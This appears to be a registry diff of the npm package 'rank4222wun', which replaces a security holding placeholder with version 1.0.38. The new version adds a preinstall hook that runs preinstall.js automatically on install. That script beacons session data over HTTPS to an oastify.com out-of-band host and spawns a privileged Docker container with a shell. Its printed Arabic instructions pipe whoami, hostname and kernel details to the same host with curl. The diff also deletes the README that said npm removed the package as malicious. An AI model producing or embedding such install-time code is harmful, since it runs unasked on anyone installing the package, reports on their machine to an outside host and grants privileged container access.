rank4222wun 0.0.1-security → 1.0.38

package/package.json

@@ -1,6 +1,10 @@
 {
   "name": "rank4222wun",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.38",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {}
 }

package/preinstall.js

@@ -0,0 +1,137 @@
+// privileged-container-oast-simple.js
+const { spawn, exec } = require('child_process');
+const crypto = require('crypto');
+const https = require('https');
+
+const OAST_DOMAIN = 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com';
+
+console.log(`
+╔════════════════════════════════════════════════════╗
+║          PRIVILEGED CONTAINER + OAST               ║
+║                                                    ║
+║  OAST Domain : ${OAST_DOMAIN}  ║
+╚════════════════════════════════════════════════════╝
+`);
+
+function generateSessionId() {
+  const timestamp = Date.now();
+  const random = crypto.randomBytes(6).toString('hex');
+  return `sess-${timestamp}-${random}`;
+}
+
+const sessionId = generateSessionId();
+const uniqueSub = crypto.randomBytes(4).toString('hex'); // لعمل subdomain فريد
+
+console.log(`Session ID       : ${sessionId}`);
+console.log(`Unique subdomain : ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
+
+function sendSimpleHttpsBeacon(path = '/start', extraData = {}) {
+  const data = JSON.stringify({
+    session: sessionId,
+    ts: new Date().toISOString(),
+    type: 'beacon',
+    ...extraData
+  });
+
+  const options = {
+    hostname: OAST_DOMAIN,
+    port: 443,
+    path: path,
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(data),
+      'User-Agent': 'PrivContainerTest/1.0',
+      'X-Session': sessionId
+    }
+  };
+
+  const req = https.request(options, (res) => {
+    res.on('data', () => {}); // نكتفي بالرد
+  });
+
+  req.on('error', (e) => {
+    console.log(`[beacon error] ${e.message}`);
+  });
+
+  req.write(data);
+  req.end();
+
+  console.log(`→ HTTPS beacon sent to https://${OAST_DOMAIN}${path}`);
+}
+
+// إرسال إشارة بداية من الـ host نفسه
+sendSimpleHttpsBeacon('/start', { action: 'script_started' });
+
+// ────────────────────────────────────────────────
+
+console.log(`
+تشغيل الحاوية المميزة الآن...
+(إضغط Ctrl+C للإنهاء - سيظهر تنظيف بسيط)
+
+أوامر مفيدة نفذها داخل الحاوية لاختبار الـ OAST:
+
+1. اختبار DNS (أكثر موثوقية):
+   nslookup ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
+
+   أو (إذا ما فيش nslookup):
+   ping -c 1 -W 1 ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
+
+2. اختبار HTTP/HTTPS بسيط:
+   curl -s "https://${OAST_DOMAIN}/ping?session=${sessionId}&from=container" || true
+
+3. إرسال معلومات سريعة (مثال):
+   whoami | curl -d @- "https://${OAST_DOMAIN}/whoami?session=${sessionId}"
+
+4. إرسال hostname + kernel:
+   (echo "host=$(hostname)  kernel=$(uname -r)" | curl -d @- "https://${OAST_DOMAIN}/info?session=${sessionId}") || true
+
+ملاحظة: ubuntu:latest قد لا تحتوي curl افتراضياً في بعض الإصدارات المصغرة.
+إذا لم يعمل curl → جرب:
+   apt update && apt install -y curl 2>/dev/null || true
+
+جاري التشغيل...
+`);
+
+// ────────────────────────────────────────────────
+
+const dockerArgs = [
+  'run',
+  '--privileged',
+  '-it',
+  '--rm',
+  '--name', `priv-test-${sessionId.slice(0,12)}`,
+  'ubuntu:latest',
+  '/bin/bash'
+];
+
+const container = spawn('docker', dockerArgs, {
+  stdio: 'inherit'
+});
+
+container.on('error', (err) => {
+  console.error(`خطأ في تشغيل docker: ${err.message}`);
+  process.exit(1);
+});
+
+container.on('close', (code) => {
+  console.log(`\nالحاوية انتهت (exit code: ${code})\n`);
+
+  // إشارة نهاية
+  sendSimpleHttpsBeacon('/end', {
+    action: 'container_exited',
+    exit_code: code
+  });
+
+  console.log(`\nتحقق من لوحة الـ OAST الخاصة بك على:\n`);
+  console.log(`  https://${OAST_DOMAIN}`);
+  console.log(`  ابحث عن: ${sessionId}\n`);
+  console.log(`أو subdomain: ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
+});
+
+// التعامل مع Ctrl+C
+process.on('SIGINT', () => {
+  console.log('\nإغلاق... (Ctrl+C مرة أخرى للخروج فوراً)');
+  container.kill('SIGINT');
+  setTimeout(() => process.exit(0), 1500);
+});

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.